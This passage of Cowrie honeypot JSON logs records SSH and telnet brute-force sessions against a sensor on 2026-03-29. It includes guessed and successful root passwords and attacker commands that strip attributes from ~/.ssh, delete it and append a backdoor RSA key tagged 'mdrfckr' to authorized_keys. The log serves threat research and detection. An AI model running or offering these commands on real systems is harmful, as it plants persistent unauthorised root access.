03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:15:59.811043Z","src_ip":"201.76.120.30","session":"73b0b5948fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:00.403911Z","src_ip":"201.76.120.30","session":"73b0b5948fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:01.551595Z","src_ip":"201.76.120.30","session":"73b0b5948fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.76.120.30","src_port":42512,"dst_ip":"10.17.0.5","dst_port":22,"session":"028fba3227b0","protocol":"ssh","message":"New connection: 201.76.120.30:42512 (10.17.0.5:22) [session: 028fba3227b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:01.682633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:01.687497Z","src_ip":"201.76.120.30","session":"028fba3227b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:01.822203Z","src_ip":"201.76.120.30","session":"028fba3227b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:02.373681Z","src_ip":"201.76.120.30","session":"028fba3227b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:02.518726Z","src_ip":"201.76.120.30","session":"a4ab4ba68b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:16:02.522872Z","src_ip":"201.76.120.30","session":"028fba3227b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7524,"dst_ip":"159.203.135.109","dst_port":22,"session":"64432b831bf5","protocol":"ssh","message":"New connection: 2.57.121.25:7524 (159.203.135.109:22) [session: 64432b831bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:08.886484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:08.890786Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:08.995803Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"parsons","message":"login attempt [user/parsons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:09.489576Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"paranoia","message":"login attempt [user/paranoia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:10.597562Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"papapa","message":"login attempt [user/papapa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:11.706674Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":34572,"dst_ip":"10.17.0.5","dst_port":22,"session":"81977180e2fd","protocol":"ssh","message":"New connection: 200.108.174.4:34572 (10.17.0.5:22) [session: 81977180e2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:11.756323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:11.760002Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:11.904084Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"r00t123","message":"login attempt [root/r00t123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:12.511085Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:12.827047Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:12.829246Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:12.832032Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ozzie","message":"login attempt [user/ozzie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:12.837380Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:12.978593Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.410351Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.413437Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.561944Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.565551Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":55644,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd40b23010ef","protocol":"ssh","message":"New connection: 200.108.174.4:55644 (10.17.0.5:22) [session: dd40b23010ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.701937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.706307Z","src_ip":"200.108.174.4","session":"dd40b23010ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.849363Z","src_ip":"200.108.174.4","session":"dd40b23010ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"outlaws","message":"login attempt [user/outlaws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:13.943286Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:14.457912Z","src_ip":"200.108.174.4","session":"dd40b23010ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:15.050907Z","src_ip":"2.57.121.25","session":"64432b831bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:15.603776Z","src_ip":"200.108.174.4","session":"dd40b23010ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":55646,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c05729c09ee","protocol":"ssh","message":"New connection: 200.108.174.4:55646 (10.17.0.5:22) [session: 6c05729c09ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:15.746367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:15.750514Z","src_ip":"200.108.174.4","session":"6c05729c09ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:15.895425Z","src_ip":"200.108.174.4","session":"6c05729c09ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:16.506439Z","src_ip":"200.108.174.4","session":"6c05729c09ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:16.651532Z","src_ip":"200.108.174.4","session":"81977180e2fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:17:16.657058Z","src_ip":"200.108.174.4","session":"6c05729c09ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.234.203","src_port":35104,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a9dbfaf5f4","protocol":"telnet","message":"New connection: 47.254.234.203:35104 (10.17.0.5:23) [session: 93a9dbfaf5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:19:36.242600Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:20:36.948873Z","src_ip":"47.254.234.203","session":"93a9dbfaf5f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.70963406562805,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:20:36.952096Z","src_ip":"47.254.234.203","session":"93a9dbfaf5f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.42.153","src_port":45534,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db5cde194f2","protocol":"ssh","message":"New connection: 34.81.42.153:45534 (10.17.0.5:22) [session: 0db5cde194f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:47.951474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:47.957276Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:48.154118Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Paris2026","message":"login attempt [root/Paris2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:48.959754Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:49.381051Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:49.383118Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:21:49.385330Z","src_ip":"34.81.42.153","session":"0db5cde194f2","protocol":"ssh"}
